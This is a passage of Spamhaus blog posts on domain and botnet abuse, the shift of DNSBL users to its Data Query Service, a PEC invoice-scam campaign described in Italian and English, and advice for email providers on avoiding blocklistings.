needed? Stronger, enforceable compliance measures for registries with persistently high abuse rates and a review of the effectiveness of actions taken. When it comes to .top, what meaningful consequences are on the table for repeated violations? Are financial penalties being considered - or even contract termination for ongoing non-compliance? Right now, .top isn’t just skirting the rules, it’s blatantly disregarding them. And the spotlight isn’t only on .top, but on those with the authority to stop the ongoing abuse. Yes, ICANN has taken a first important step by issuing a formal notice, but it hasn’t moved the needle. We urge ICANN to take a closer look and intensify its efforts to tackle this escalating abuse. It's time to hold .top and its enablers accountable for their role in enabling abuse. Spamhaus would welcome being part of this conversation to provide more data, insights, and recommendations to help drive meaningful change.

Domain Reputation Update Oct 2024 - Mar 2025

The Spamhaus Team — Thu, 10 Apr 2025 12:00:00 GMT

New domains are up 7.39%, with 2.9 million malicious domains detected. Chinese gambling sites dominate the Top 20 TLDs, while .top remains a hotspot for abuse - this time with a spike in toll road scams. Read the full report here.

Query the legacy DNSBLs via Microsoft? Move to Spamhaus Technology’s free Data Query Service

The Spamhaus Team — Tue, 11 Mar 2025 15:09:10 GMT

The headlines for those in a hurry The fair use policy states that users cannot query via DNS resolvers or servers where there is no attributable reverse DNS; this includes Microsoft (we'll explain why later in this article). To provide a clear signal to users that these blocklists are not protecting their email, Spamhaus will return an error code; 127.255.255.254. If you haven't set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology’s free Data Query Service (DQS), which you can sign up for here. Once you've verified your email address, you will get access to a "DQS key" to include in your configuration. These config changes take only minutes; see the technical docs for more detail. Why can’t Microsoft users query the public blocklists? The blocklists that are made freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the fair use policy. Microsoft’s default reverse DNS masks organizations' unique identities to the Public Mirrors, so the team can’t attribute usage to individual entities. They have no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free DQS. How is the free DQS different from the free Public Mirrors? Usage transparency** - users register to access the free DQS and are provided with a key that records query volumes. Increased performance** - blocklists are updated in real time. Additional protection** - access to more blocklists, including Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access Spamhaus Technology's free DQS Remove all legacy DNS Blocklist configurations in advance of signing up for an account with Spamhaus Technology. If you don't do this you may not be able to receive the account verification email. Sign up for an account. Verify your email address. Log in to your account and access your DQS key. Update your email configuration. We have config guides for mainstream MTAs. How will Microsoft users be prevented from querying the free DNSBLs? To ensure the fair use policy is adhered to, queries from IP addresses outside the policy will be blocked, and an error code will be returned. In the case of querying via an open/public resolver, i.e.,Microsoft, the error code is 127.255.255.254. If your MTA can't correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free Public Mirrors. When will the error code for Microsoft DNSBL users be introduced? The error code will be slowly implemented across Microsoft’s IP space, commencing from Wednesday, April 9th 2025. Please don’t delay - take action now and move to the free DQS. What if I don’t want to use Spamhaus Technology's free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus's IP and domain reputation. If you no longer wish for your mail stream to be protected for free by the blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for DNSBLs users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now. Any questions? Not a problem – reach out to us via Twitter @spamhaus, LinkedIn @TheSpamhausProject or our contact form.

How I’m fighting cybercrime with Spamhaus (and how you can too!)

Jeroen Gui — Wed, 26 Feb 2025 16:50:16 GMT

For years, I've been passionate about combating online abuse and making the internet a safer place. In early 2024, the drive “to do more” led me to the Spamhaus Threat Intel Community - a portal for sharing suspicious or malicious internet identifiers. Through this initiative and collaborative intelligence sharing, I have amplified the impact of my threat hunting activity on internet security. Through this blog, I hope to inspire others to join the community, and raise awareness of what we can all do to shine a light on malicious internet activity and protect others. Joining Spamhaus in the fight against cyber threats For over 25 years, Spamhaus has been at the forefront of tracking and mitigating cyber threats, including spam operations, botnets, malware and phishing campaigns. Since joining the Spamhaus Threat Intel Community initiative, my focus has been on identifying and reporting malicious domains, URLs, and spam/phishing emails. But perhaps the most inspiring aspect of this project is the ability to directly contribute to making the internet a safer place. By participating, I have an active role in disrupting cybercriminal operations, providing the intel necessary to block IP ranges, domains, and spam for users worldwide. I’m making a difference. Getting started with the portal… …is easy. You can make one-off submissions as a guest, or create an account to access an API for multiple submissions. This means if you’re an experienced threat analyst (like me) you can use the API for regular reports. For a casual user submitting occasional findings it’s a simple webform. This flexibility ensures that ANYONE regardless of technical expertise, can participate meaningfully in the fight against cyber threats. Even your Oma (that’s German for grandma)! What data can you share? Currently, you can share domains, IPs, URLs or raw email source via the Spamhaus Threat Intel Community. Sharing evidence is key Submitting accurate and well-documented reports is critical to ensuring high-quality threat intelligence. When submitting suspicious activity or threats, if you have any evidence to support your submission, Spamhaus wants to see it. Providing concrete evidence - such as domain impersonation details, phishing email headers, and other reasons why the submission is malicious - helps Spamhaus verify threats and prevent false positives. Adding a simple link to your evidence in the "Reason" field can help to signficantly speed up the process of confirming malicious or suspicious activity. What about sharing malware? To report malware, I recommend abuse.ch, a community-driven threat intelligence platform focused specifically on malware and botnets, which is also partnered with Spamhaus. With a community of more than 15,000 researchers, the intelligence from these platforms is used by security researchers, network operators and law enforcement agencies around the world. It’s feels good to be recognized Hunting for cybercriminals can often feel like thankless work. It might sound trivial but being recognized for the effort you put in means a lot. On the Spamhaus Threat Intel Community there are leaderboards to see your contributions alongside other community members. This not only recognizes the dedication of contributors but helps foster engagement among the community. And a bit of healthy competition never hurt anyone! At the time of writing this blog, I’m ranking #2 on the raw email source leaderboard, but, kudos to EGP Abuse Dept. at #1! That said, the leaderboards do change regularly! Nevertheless, I’m proud to appear regularly as a top ‘raw email source’ contributor. For those concerned about remaining anonymous, your leaderboard name is a pseudonym by default - you can also update your leaderboard name in the account settings. Together we are stronger If, like me, you're passionate about cybersecurity and want to make a tangible difference, I encourage you to join the Spamhaus Threat Intel Community. For more information or to make your first contribution, visit the Spamhaus Threat Intel Community Project. Together, we can combine our knowledge and resources to combat cyber threats and build a safer internet for everyone.

Networks hosting botnet C&Cs: Same players, same problems

The Spamhaus Team — Tue, 11 Feb 2025 17:20:29 GMT

Over the years, we’ve observed the same networks consistently dominating the Top 20 for hosting botnet command and controllers (C&Cs). In the most recent Botnet Threat Update, Chinese-based providers Tencent and Alibaba traded places for the top two spots, with Alibaba ranking number one for the first time. Following close behind are some big industry players: Digital Ocean, Amazon, Hetzner, OVH and Microsoft. Peppered among these familiar names you find the lesser known providers: huawei.com, uninet.net.mx, neterra.net, contabo.de, colocrossing.com. So, why do the same networks keep appearing? In most cases, the issue is not due to neglect or a lack of care from Trust and Safety teams. Many of these teams are responsive to reported issues, despite being underresourced and operating under significant strain. No, the real problem lies at a management level within the organizations that own these networks. A commitment from the top is needed The responsibility for mitigating persistent malicious activity on networks ultimately lies with the leaders and decision makers. Too often, leadership fails to act against malicious threats on a network. But, why is this the case? It’s often due to a number of common perceptions: that implementing certain controls will impact user experience, it will be too costly, or worst of all, that if it isn’t directly affecting the bottom line: why bother? The unfortunate truth is, changes are typically only made after an incident disrupts the entire network or legal requirements force action. But this reactive approach isn’t enough. Effective network security demands a proactive, top down commitment from the leadership team and decision makers. Trust and Safety teams must be empowered with the support and resources they need to take informed preventative steps toward making the internet safer for users. Breaking the cycle For networks to address these recurring issues, preventative measures are where the low hanging fruit lies: Robust customer verification: Providers experiencing repeated incidents of botnet C&Cs being hosted on their networks need to strengthen their sign up and vetting procedures. Over 12 years ago we shared some best practices for providers to control fraudulent sign ups; the majority of which we still recommend today: Verify user information with personal information e.g. email/phone number Verify payments and do not accept crypto currency or WebMoney Maintain a blocklist of abusive customers Have a strong Acceptable Use Policy or Terms of Service Check the customers IP address against various blocklists Networks can - and should - exercise greater control over operators who fraudulently sign-up for a new service. And this responsibility also extends to ensuring that resellers are also following sound customer verification practices. Resellers that allow fraudulent signups or lack proper safeguards should not be welcome on your network. Monitor activity: In some cases identifying fraudulent customers at sign-up can be almost impossible. However, by actively monitoring network traffic for patterns that do not normally occur with legitimate use, you may be able to detect abuse post sign up, and before you receive reports from third parties such as Spamhaus. Keeping cybercriminals out of your network requires proactive effort, but dealing with the consequences when you ignore abuse is even more demanding. Once bad actors start to flood your network, stopping the abuse requires considerably more resources (both human and financial). Failing to invest in the measures suggested risks overwhelming your teams, destroying customer confidence and compromising safety. The organizations of the size and reputation mentioned in this report should already have these practices in place. Collaborate with the community We are here to work with all organizations that endeavour to achieve this. For those operators that need support, we encourage you to reach out and work together with Spamhaus and the broader internet community to help address abuse on your network.

Botnet Threat Update July to December 2024

The Spamhaus Team — Mon, 13 Jan 2025 12:53:07 GMT

Overall botnet command control (C&C) activity decreased marginally by -4% between July and December last year. China dominated the Top 20 charts with increased botnet C&C activity across domain registrars and networks, ranking #1 globally for hosting botnet C&C servers. Download the latest report to learn more.

If you query the legacy DNSBLs via Hetzner move to Spamhaus Technology’s free Data Query Service

The Spamhaus Team — Wed, 08 Jan 2025 12:00:00 GMT

The headlines for those in a hurry The fair use policy states that users cannot query via DNS resolvers where there is no attributable reverse DNS; this includes Hetzner (we'll explain why later in this article). To provide a clear signal to users that these blocklists are not protecting their email, Spamhaus will return an error code; 127.255.255.254. If you haven't set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology’s free Data Query Service (DQS), which you can sign up for here. Once you've verified your email address, you will get access to a "DQS key" to include in your configuration. These config changes take only minutes; see the technical docs for more detail. Why can’t Hetzner users query the public blocklists? The blocklists that are made freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the fair use policy. Hetzner’s default reverse DNS masks organizations' unique identities to the Public Mirrors, so the team can’t attribute usage to individual entities. There is no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free DQS. How is the free DQS different from the free Public Mirrors? Usage transparency** - users register to access the free DQS and are provided with a key that records query volumes. Increased performance** - blocklists are updated in real time. Additional protection** - access to more blocklists, including: Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access the free DQS Remove all legacy Spamhaus Project DNS Blocklist configurations in advance of signing up for an account. If you don't do this you may not be able to recieve the account verification email. Sign up for an account. ** Verify your email address Log in to your account and access your DQS key. Update your email configuration. We have config guides for mainstream MTAs. How will Hetzner users be prevented from querying the free DNSBLs? To ensure the fair use policy is adhered to, queries from IP addresses outside the policy will be blocked, and an error code will be returned. In the case of querying via an open/public resolver, i.e., Hetzner, the error code is 127.255.255.254. If your MTA can't correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free Public Mirrors. When will the error code for Hetzner DNSBL users be introduced? The error code will be slowly implemented across Hetzner's IP space, commencing from Wednesday, February 19th, 2025. Please don’t delay - take action now and move to the free DQS. What if I don’t want to use the free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus's IP and domain reputation. If you no longer wish for your mail stream to be protected for free by the blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for DNSBL users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now Any questions? Not a problem – reach out to us via Twitter (@spamhaus), LinkedIn (@TheSpamhausProject) or our contact form.

Truffe via PEC - Far perdere tempo e denaro alle aziende italiane

The Spamhaus Team — Thu, 19 Dec 2024 19:03:11 GMT

Accedi alla traduzione in inglese qui. Una breve introduzione alla PEC (Posta Elettronica Certificata) Il servizio consente ai mittenti di dimostrare in sede legale che un'email è stata inviata e ricevuta da una casella PEC ad un'altra casella PEC. È un servizio utilizzato spesso per inviare documenti importanti alla pubblica amministrazione, ai cittadini e alle aziende private. Poiché le email hanno valore legale, ciò significa che il destinatario non può rifiutare la mail né affermare di non averla ricevuta. La PEC è un servizio affidabile? Secondo i dati ufficiali di AgID, nel 2022 c'erano circa 15 milioni di caselle PEC attive in Italia, e sono stati scambiati oltre 2,5 miliardi di messaggi, rendendola uno strumento altamente diffuso, efficace ed affidabile. Ispirata dal successo della PEC, la Commissione Europea sta promuovendo l'adozione della REM (Registered Electronic Mail) in tutta l'UE, un'iniziativa volta a standardizzare e affrontare la mancanza di interoperabilità tra i servizi di posta elettronica certificata digitale all'interno dell'Unione. A prima vista, una cosa perfettamente sensata. Tuttavia, attori malintenzionati stanno già utilizzando la PEC per inviare email pericolose, sfruttandone le funzionalità di ricezione garantita per colpire persone ed aziende comuni. Con una "PEC europea" interconnessa con una copertura di tutta l'Unione Europea, i criminali potrebbero avere molte piu' opportunità per sfruttare la posta certificata a scopi malevoli. Come possono le aziende proteggere la loro casella PEC? Considerando il potenziale ambito della cosiddetta "PEC europea", il numero di potenziali vittime è destinato a crescere esponenzialmente. Quindi, come possono i titolari di aziende proteggere le loro caselle di posta? Ecco un rapido elenco di cinque passaggi che aiutano a mitigare i rischi: Configura la tua casella PEC per accettare messaggi solo da altre caselle PEC. Anche se questo non risolve casi come quello che presentiamo, contribuirà molto probabilmente a ridurre lo spam proveniente da caselle non PEC. Usa una password complessa e unica, e abilita l'autenticazione a due fattori dove possibile. Non condividere mai le tue credenziali di accesso... con nessuno. Controlla sempre l'indirizzo del mittente delle email ricevute. Non cliccare su link sospetti, ma prima passa il cursore sopra di essi: se il link non sembra sensato è un segnale d’allarme. Prima di intraprendere qualsiasi azione sulla quale hai dubbi, come il pagamento di una fattura della quale non hai memoria, verifica sempre l'email con il mittente. Dopo aver elencato i principi di base per proteggere la tua azienda da PEC potenzialmente malevoli, esaminiamo più da vicino un reale tentativo di truffa. La truffa della “fattura via PEC” Da appassionato di motori, seguo il canale YouTube "GASI Garage" da anni. Mentre visionavo l'ultimo video del GASI, sono rimasto scioccato nel sentire Gabriele parlare di PEC, spam e truffe... apparentemente il lavoro ti segue ovunque! In breve, le credenziali per l'accesso alla PEC di qualche sfortunato utente italiano sono state rubate ed utilizzate per inviare malspam a centinaia di altri indirizzi PEC, incluso quello di Gabriele. Ecco l'email che ha ricevuto: *Buongiorno GASI Automobili, Desideriamo informarvi che, in base al contratto firmato il 25/11, dovete pagare 142 euro. Tuttavia, tale importo non è stato ancora saldato nonostante numerosi solleciti via email. Se non pagate entro 5 giorni, sarò costretto a contattare il mio avvocato per ulteriori azioni legali. Questo è un avviso formale che interrompe ogni prescrizione. Potete scaricare la fattura cliccando sul link “Fattura” (sottolineato!) Cordiali saluti,* Questo è un classico esempio di email malevola "devi pagare questa fattura - clicca qui", dove "qui" è un link ad un malware o ad un tentativo di phishing. Poiché la PEC ha valore legale, Gabriele non poteva semplicemente ignorarla, soprattutto perché, come ha ammesso lui stesso, non è molto esperto di tecnologia. Questo ha scatenato una serie di verifiche, tra cui: Determinare se e dove aveva speso il quantitativo di denaro menzionato nella PEC Controllare le sue fatture in entrata Chiedere al suo commercialista di controllare lo storico fatture Contattare il mittente (poiché essendo una PEC non poteva essere falsificato) per chiarimenti Questo ha causato una sensibile perdita di tempo (e di conseguenza, di denaro) per Gabriele. Quando finalmente è riuscito a contattare il mittente della PEC, ha scoeprto di essere almeno la centesima persona che lo stava facendo. Questo suggerisce che innumerevoli altre persone hanno probabilmente sprecato ore di lavoro preziose facendo gli stessi controlli. Inoltre, il mittente della PEC ha dovuto spiegare ripetutamente a tutti che il problema non era direttamente colpa sua, aggiungendo ulteriore tempo perso e frustrazione. Alla fine, tutto ciò è costato collettivamente centinaia di ore/uomo. La stessa campagna, di nuovo? Esatto! Mentre ero in palestra, il proprietario, sapendo di cosa mi occupo per lavoro, mi ha mostrato un'email sospetta. Non potevo crederci: era esattamente la stessa email che aveva ricevuto il GASI - solo che questa volta avevo anche un sample del malware sotto mano! Di che malware si tratta? Spamhaus Malware Labs ha determinato che cliccare il link malevolo nell'email scatena il download di un file VBScript, che a sua volta, se eseguito localmente, scarica il malware MintsLoader. Questo malware agisce come un "dropper", facilitando l'installazione di ulteriori malware, come ad esempio credentials stealers per il furto di credenziali, RAT o altri payload malevoli. Il risultato dell'infezione è molto probabilmente l'esfiltrazione delle proprie password per essere a loro volta sfruttate per attivita' di malspamming. Cosa è successo alle vittime? Fortunatamente non ci sono state gravi conseguenze sia per il GASI che per il proprietario della mia palestra. Sono stati abbastanza accorti da insospettirsi e non cliccare sul link contenuto nella mail ricevuta. Tuttavia, nella vita di un meccanico, un proprietario di palestra o un qualsiasi altro imprenditore, il tempo utlizzato per effettuare tutte le verifiche su questa fantomatica fattura equivale a denaro perso. Spam e email malevoli non sono solo problemi tecnici, ma hanno conseguenze reali nella vita quotidiana. Fornitori di caselle PEC: stanno facendo qualcosa? Le normative PEC consentono generalmente il rifiuto di virus e malware, ma non tutte le forme di messaggi indesiderati (spam) possono essere rifiutate. Purtroppo, i fornitori che gestiscono le caselle PEC tendono ad applicare misure di sicurezza minime, spesso solamente la scansione degli allegati per virus. L'uso di misure più rigorose come ad esempio l'uso di blocklist in tempo reale o filtri anti-spam, rischia complicazioni legali. Persino spostare le email PEC nella cartella spam è raro, come dimostrato da un caso giudiziario in cui un'email erroneamente finita nella cartella spam ha portato il tribunale a dichiarare che il destinatario era comunque responsabile nel controllare tale cartella. A causa di situazioni come questa, i fornitori di PEC hanno pochi incentivi a fornire qualcosa di più oltre il minimo livello di sicurezza per le caselle PEC. Di conseguenza, imprenditori come Gabriele sono più esposti a ricevere spam, truffe e altre email malevoli nelle loro caselle PEC. Se ricevi un'email sospetta segui i consigli di questo blog, segnalala al tuo fornitore PEC e condividila con Spamhaus tramite il Community Portal.

PEC “invoice scam” - Stealing time, money, and trust from businesses

The Spamhaus Team — Thu, 12 Dec 2024 10:03:23 GMT

Access the Italian translation here. A brief introduction to PEC The service enables senders to prove that an email has been sent and received from one PEC mailbox to another PEC mailbox, in a court of law. It is often used to send important documents to public administration, citizens, and private companies. Because the emails are legally binding, it means the recipient cannot reject the mail - or claim to have not received it. PEC is a trusted service, isn’t it? According to official AgID data, in 2022 there were approximately 15 million active PEC email boxes in Italy, and more than 2.5 billion messages were exchanged - making it a highly valued, effective and trusted tool. Inspired by its success, the European Commission is pushing for adoption of REM (Registered Electronic Email) across the EU - an initiative intended to standardize and address the lack of interoperability among digital certified email services within the EU. At face value, this absolutely makes sense. However, malicious actors are already using PEC to send emails, leveraging its features to target everyday people. With an interconnected “European PEC” that expands throughout Europe, criminals will have an infinitely greater opportunity to exploit certified email. How can businesses protect their PEC mailbox? Considering the potential scope of the so-called “European PEC”, the pool of potential victims is set to grow exponentially. So, how can business owners protect their mailboxes? Here’s a quick five-step checklist to help minimize your risk: Configure your mailbox to accept messages only from other PEC mailboxes. While this won't prevent the case we'll be discussing, it will help reduce spam. Use a strong, unique password and enable two-factor authentication (where possible). Avoid sharing your login details…with anyone. Always check the "from" address of emails received. Don't click suspicious links, hover over them, instead. If they don’t make sense, that’s an immediate red flag. Before taking any action, always verify the email with the sender. Having learned the basics of how to protect your business from PEC email abuse, let's take a closer look at the scam. The PEC “invoice scam” As a self-confessed petrol head I’ve been following the YouTube channel, “GASI Garage,” for years. Ready for my latest installment of fumes and burnt rubber, I was shocked to hear Gabriele, talking about PEC, spam and scams ….apparently your job never leaves you alone! In short, someone’s PEC credentials had been stolen, and used to send malspam to hundreds of other PEC addresses, including that of Gabriele. Here’s the email he received: *Good morning GASI Automobiles, We’d like to inform you that, based on the contract you signed on 25/11, you must pay me 142 eur. However, that amount has not yet been paid despite numerous solicitation emails. If you don’t pay in 5 days, I’ll be obliged to contact my attorney for further legal actions. This is a formal warning and stops any prescription. You can download the Invoice by clicking the link “Invoice” (underlined!) Best Regards,* Here we have a typical, "you need to pay this invoice - download here" email, where "here" is a link to some sort of malware or phish. Because PEC is a legally binding email, Gabriele couldn’t simply ignore it, especially - as he admitted - he isn’t tech-savvy. As a result, this triggered a chain of verifications, including: Determining if and where he had spent the money Reviewing his incoming invoices Asking his accountant to check his invoices Contacting the certified sender (since it couldn’t be faked) for clarification This wasted a considerable amount of time and hundreds of euros on Gabriele's side alone. When he finally reached the owner of the PEC email address, he was the 100th person to contact him. This suggests that countless others likely spent valuable working hours conducting the same checks. Additionally, the PEC sender had to repeatedly explain to everyone that the issue wasn’t directly his fault, further adding to the wasted time and aggravation. In the end, it collectively cost thousands of Euros and hours. Not the same campaign, again? Yes, that’s right! While I was working out at the gym, the owner approached me with a suspicious email, knowing my line of work. At first glance, I couldn’t believe it, it was the exact same email campaign - only this time with a fresh malware sample ready for analysis! What do we know about the malware? Spamhaus Malware Labs determined that the malicious link in the email triggers the download of a VBScript file, which results in the download of MintsLoader malware. This malware acts as a dropper, facilitating the delivery and installation of additional malware, such as credential stealers, RATs, or other malicious payloads. The likely outcome? Passwords will be exfiltrated and potentially exploited for malicious activities. And, what happened to the victims? Luckily, there were no severe repercussions for the two victims highlighted here. They were savvy enough to detect the threat and take appropriate actions to verify. However, in the life of a mechanic, a gym owner, or any other business, wasted time means wasted money. Spam and malicious emails aren’t just technical issues, they have real-life consequences. PEC mailbox providers: are they taking any action? The PEC regulations typically allow for viruses and malware to be rejected, but not all forms of unsolicited messages (spam) can be outright rejected. Unfortunately, providers handling PEC mailboxes tend to apply minimal security measures, like scanning attachments for viruses, the use of stricter measures (e.g., using real-time blocklists or spam filters) risk legal complications. Even moving PEC emails to the spam folder is rare, as explained by a court case where a misplaced email ended up in the spam folder. In this case, the court ruled the recipient was responsible for checking the spam folder. Because of situations like this, operators have little incentive to provide anything above the minimum security for PEC mailboxes. As a result, business owners like Gabriele are more likely to receive spam, scams, and other malicious emails into their trusted PEC mailboxes. If you receive a suspicious email, please follow the advice in this blog, report it to your PEC provider, and share it with Spamhaus’ Threat Intel community portal to help protect others.

Avoiding Blocklistings: Part 3 - Take Matters into Your Own Hands to Protect Your Senders

Lauren Meyer — Thu, 07 Nov 2024 10:37:24 GMT

When Education Fails: Proactive Steps for Helping Senders Avoid Blocklistings Well, well, well…back for part 3! Way to go, you nerd. Without further ado, let’s get into it! If you haven’t read part one or part two, please hop over to those now because you’ll need to go through those processes before we recommend pulling control levers on your side of the house. “Last resort,” remember? But we all know some of you aren’t gonna do that, ahem. So, to summarize: Get on the same page with your new customer and make sure you understand their business. Educate them on the do's and don’ts of avoiding blocklists at every stage in their journey. Keep an eye on their performance so you can get a sense of the kinds of practices they might be using and help them course-correct when a problem emerges. Then...if all else fails and you’re unable to successfully educate your senders, or simply can’t convince them to do the right thing, it’s time to move onto our third major recommendation. Take Matters into Your Own Hands to Protect Your Senders Well...it’s time for some Real Talk™. Not every customer will follow your advice. In fact, you should probably count yourself lucky if you have customers who eagerly adopt email best practices and listen to your guidance. But the fact is, every business has their own email goals, priorities, and standards, and sometimes those simply don’t align with your recommendations. It’s important to make sure you have safeguards in place to help avoid blocklistings, especially for senders who are trying to follow the rules. There isn’t much worse (in Email Land) than a good sender who’s suddenly unable to deliver mail to major mailbox providers because their shared IP is blocklisted. To protect your customers, you should be prepared to take matters into your own hands. Get strategic about your IP strategy. Create a shared IP or pool for new senders so you can monitor their behavior before putting them with other established customers. You can also create IP pools based on sender reputation, so riskier senders mingle with similarly questionable customers while stellar customers can be isolated from those with less ideal practices. Automate it. There are so many options here! Think, everything I just mentioned…without you pushing any buttons. You could also make customers’ lives easier with automated alerting so they’re aware of low performance and associated risks or an auto warmup tool so it’s easier for people to follow your warmup plan without having to think about segmentation at all. Throttle it (…just a little bit!). When sending statistics reach a critical level, rate limitations can help you protect your customer’s reputation and your own while you investigate what’s going on. Whether automated or manually applied, they can give you the leverage you need to get those stubborn senders movin’ towards Best Practice Avenue. Build new features. For example, one that scans lists upon upload to prevent poor quality lists (often purchased, scraped, mismanaged) or routes suspicious increases in volume or senders with bad stats to a different IP with stricter sending ability. You could build customer-facing features, too, such as a way to easily segment lists or suppress unengaged users or help customers set up authentication during your onboarding flow. Call in the firing squad.This should be a last resort, obviously, but when all else fails, it’s ok to fire a customer. Just make sure you’ve done your best to remediate the issue first when possible, by communicating what needs to change and why (multiple times), and involving internal stakeholders ahead of time if cutting that customer has notable revenue implications. Doesn’t mean you don’t cut ‘em, even if leadership doesn’t like it, but everyone involved will appreciate you not making it a fire drill unnecessarily. Ultimately, ESP customers are always gonna span from great to…not-so-great…despite our best efforts to keep a tidy ship. And even the best senders can become blocklisted from time to time. It’s our job to get customers’ email cars back on the road as quickly as we can, but of course, no IP or domain is safe from future listings if sender behaviors don’t change. So, create compelling use cases that influence sender behavior by letting your (ahem, their) email data do the talking. And when they won’t listen, well, you know what to do…desperate times call for desperate (but fully justified!!) measures. ¯\(ツ)/¯ That’s a Wrap! There you have it, folks. Super simple, right? Don’t forget to follow Spamhaus’ instructions for delisting, and reach out to them if you really can’t figure out why a seemingly good sender of yours is having trouble. Also remember you can call in a little backup from others in the community anytime. This industry is incredibly supportive and always willing to lend a hand - just reach out! I love troubleshooting deliv issues. 💌

Avoiding Blocklistings: Part 2 - Monitor and Educate Your Customers

Lauren Meyer — Thu, 07 Nov 2024 10:29:55 GMT

Proactive Strategies for Avoiding Blocklistings The first step is to start at the very beginning and grow a relationship with your customer based on a shared understanding of their business (and by extension email) needs. If you need some guidance, we went through this in Part 1 of this blog mini-series, so head over there to get caught up. We’ll wait. OK, are you back? Good. Now that you’ve got your first steps mapped out, it's time to start moving into a different stage of your customer relationship. Your mission now is to be their advocate...whether they like it or not, since sometimes our advice can be hard to swallow for less-than-perfect senders. You want to make sure you’re a reliable resource who is there when they need you. It’s even better if you can be there before they know they need you. Monitor Your Customers to Make Sure They’re Doing the Right Things Well, duh. But hear me out here. Email’s Changing More Quickly Than Ever There’s a shift happening in email. Mailbox providers are continually getting more granular with their reputation monitoring, which means senders are getting more of the deliverability they deserve. For an ESP, this can be bittersweet: Your good customers are less likely to be negatively impacted by a poor sender on their shared IP (yay!). But you also have less ability to positively influence individual deliverability because senders’ choices about their domain will mean more than your hard-earned ESP reputation. Don’t get me wrong: IP reputation is still a key factor with many providers (including Google and Yahoo), so monitoring is still super important. You just need to look more closely at domain-based reputation as well. The good news? Email is just about the most data-rich marketing channel around, so senders have the ability to monitor performance more easily, and us ESP types can more easily keep tabs on those senders. Making Email Data Talk (and Walk!) is More Important in 2024 All of that sweet, sweet email data also means there are lots of ways to protect one sender from the rest. You could: Put those senders on different shared IP pools. Have them use a dedicated IP and sign mail with their own DKIM domain instead of (or in addition to) yours. Restrict volumes when a sender’s statistics drop (or spike!) to a dangerous level. The not-so-good news: How you monitor and protect those customers will be slightly different for everyone, based on your ESP’s tech stack. Our advice is to list out all the data you have access to: Data you have instant access to without having to get help from other teams, such as delivery and engagement statistics. Data you need to request from another team, such as custom reports or exports. Data you have regular access to through 3rd parties, such as Google Postmaster Tools (GPT), seed testing or deliverability monitoring tools, etc. Once you’ve done that, figure out your workflow! What is it you’ll monitor, and how will you monitor it? Do you have dashboards, data feeds, and/or tools in place to monitor, troubleshoot, and answer questions about deliverability issues, or will you need to build something? If you don’t have the resources (or access to data) that you need to build, do you have budget to purchase a solution? All have their benefits and downsides, depending on the resources at your disposal: team size and level of experience, tooling, access to data, and how much cross-functional support you have within the organization are all things to consider before finalizing your workflow. Traditional Monitoring Has Its Challenges Monitoring dozens, hundreds, or even thousands of individual senders ain’t easy...so first of all, mad respect to all of you helping your customers avoid blocklistings by jumping on the problem before the problem jumps on your customer. Fact is, customers rely heavily on tools like GPT...so do deliverability folks! (Be honest, you know it’s true.) But GPT is known to be buggy. It also keeps us in a reactive state since there’s a 2-day delay on the data. Which means identifying issues as they’re emerging is a struggle we all face. Either the issue gets missed entirely, or senders don’t turn the Titanic around before it hits the iceberg, which is what leads to all the fire drills when somebody’s open rates (or revenue from email) fall off a cliff. By finding ways to monitor our customers’ email performance using the delivery and engagement data we tend to have access to behind the scenes (even if painstakingly gathered), we can monitor from a 10,000-foot view, in addition to the up-close-and-subaccount-personal view we’re all used to. Proactivity For the Win! Following the data (and finding customer issues before they do) is key, because we all know customers struggle with acting quickly when there’s a problem. Not to mention, how often they’re blaming us for their performance issues — even when the bounce responses mention their domain specifically! Ugh. We need to follow those tasty little data crumbs all the way to Hansel and Gretel’s house so we can build a compelling case for why our senders need to make changes, not us. Beyond looking at the hard numbers, proactivity is also the #1 way to build trust with your VIP customers (well, everyone, really) and ensure they’re confident in your ability to protect their performance. Have an open-door policy and keep your ears open for any troubling practices they might mention doing, even if you haven’t seen an impact from it yet. After all, it’s a lot easier to caution someone against sending to a list they’ve purchased when they tell you they bought the list than it is to clean up the mess after they “spray-and-pray”. (ew) Educate Your Customers When You Identify Issues or Gaps in Best Practices During my prep sessions with Melinda, it was clear we both strongly believe in our role as customer advocates...and educators. Melinda said, “One thing I really push for, and this is key to a lot of success, is truly educating folks. There’s a lot to understand in this industry and not everyone understands all of the best practices out there.” True story, Mel. True story. I’m convinced there are more email myths, misconceptions, and claims about shortcuts (that don’t work!) floating around than accurate, helpful, no-nonsense guidance on how to send it right. But that’s ok! We don’t have to teach them everything all at once. In fact, we shouldn’t. That would be overwhelming, frustrating, and well, pretty much pointless. They’ll tune out. Customer Education Requires a Phased Approach Instead, we need to break it down into digestible, achievable bites that are focused only on what they need to know at each stage to be successful. The education piece can start before they even sign up. You can put it on your website, in your company’s blog and newsletter, in your terms of service (TOS) and documentation, it can be repeated via support communications, sales conversations, and your onboarding email sequence...everywhere. You can educate them during the onboarding process by requiring them to do things you know are necessary for their success, like setting up authentication records that are now required by major mailbox providers. Show, Don’t Tell If you’re seeing problems after they’ve started sending, you can show them 